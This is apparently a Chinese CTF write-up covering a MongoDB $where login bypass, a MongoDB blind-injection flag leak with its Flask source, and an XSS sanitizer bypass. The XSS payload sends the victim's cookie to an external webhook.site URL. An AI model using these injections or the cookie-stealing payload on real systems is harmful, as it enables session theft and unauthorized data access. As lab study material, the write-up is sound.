这里的写这个wp的原因是这里有几道题考察的是mongodb
的注入
(之前没咋见过,都是做mysql的居多)
之前见过一次还是在 d3ctf里面见过
youtube———-wp
mogodb
这是一个mogodb
的查询语句
注入点就在这了
payload
1
| admin' || this.user==='a
|
这里的引号位置是为了闭合代码中的引号
因为这里使用了||
语句 ,所以说只要存在一个用户名为admin
的用户,我们就能成功登录
这里能成功是因为优先级的问题的 (非与或 优先级从大到小)
所以说这里会先执行&&
然后返回的结果在于||
一起
fancy-page
考点 xss
这里很奇怪 (别的题目可以打通的payload到这就不行了,国外的题好奇怪)
而且还有一点就是不能使用国内的vps
来弹shell 只能使用专门接http返回信息的网站来做
这里的话就记录一下他的payload,下次打国际赛在遇到的时候就拿出来用
给的源码中就下面的最有用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import { default as Arg } from "https://cdn.jsdelivr.net/npm/@vunamhung/arg.js@1.4.0/+esm";
function sanitize(content) { return content.replace(/script|on|iframe|object|embed|cookie/gi, ""); }
let title = document.getElementById("title"); let content = document.getElementById("content");
function display() { title.textContent = Arg("title"); document.title = Arg("title");
let sanitized = sanitize(Arg("content")); content.innerHTML = sanitized;
document.body.style.backgroundColor = Arg("background_color"); document.body.style.color = Arg("color"); document.body.style.fontFamily = Arg("font"); content.style.fontSize = Arg("font_size") + "px"; }
display();
|
虽然过滤了一些标签,但是因为是替换给空,所以可以使用双写绕过
content
写xss
代码
这里传新生成的页面给机器人访问
payload
1
| <img src=x oonnerror='document.locatioonn="https://webhook.site/763b1516-a326-4e4e-8327-7954bf30e2da?"+document.ccookieookie'>
|
成功
flag-shop
这是一道mogodb
的盲注题目
main.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import os import traceback
import pymongo.errors from flask import Flask, jsonify, render_template, request from pymongo import MongoClient
app = Flask(__name__) FLAG = os.getenv("FLAG") app.config["SECRET_KEY"] = os.getenv("FLASK_SECRET") mongo_client = MongoClient(connect=False) db = mongo_client.database
@app.route("/") def main(): return render_template("index.html")
@app.route("/api/search", methods=["POST"]) def search(): if request.json is None or "search" not in request.json: return jsonify({"error": "No search provided", "results": []}), 400 try: results = db.flags.find( { "$where": f"this.challenge.includes('{request.json['search']}')" }, { "_id": False, "flag": False } ).sort("challenge") except pymongo.errors.PyMongoError: traceback.print_exc() return jsonify({"error": "Database error", "results": []}), 500 return jsonify({"error": "", "results": list(results)}), 200
if __name__ == "__main__": app.run()
|
根据这个代码来看的话
这里的话是在challenge
这个表里查数据
id
和flag
是不给查的 但是我们可以包含上面的include
语句,来重新查一个flag
表
1
| ')==this.flag.includes('xxx
|
xx后面就是想要爆破的字符串了
这里的话include
的话就是 查找表里是否有相对应的字符串
例如 flag
随便输入4个字母中的一个 就会将flag
给输出出来 这就是include
的作用
查询成功就会输出全部挑战
查询失败就啥也没有
这里在记录一个ejs3.1.9
的漏洞题
wp1 wp2
下次遇到ejs 3.1.9
的题 这里直接秒就行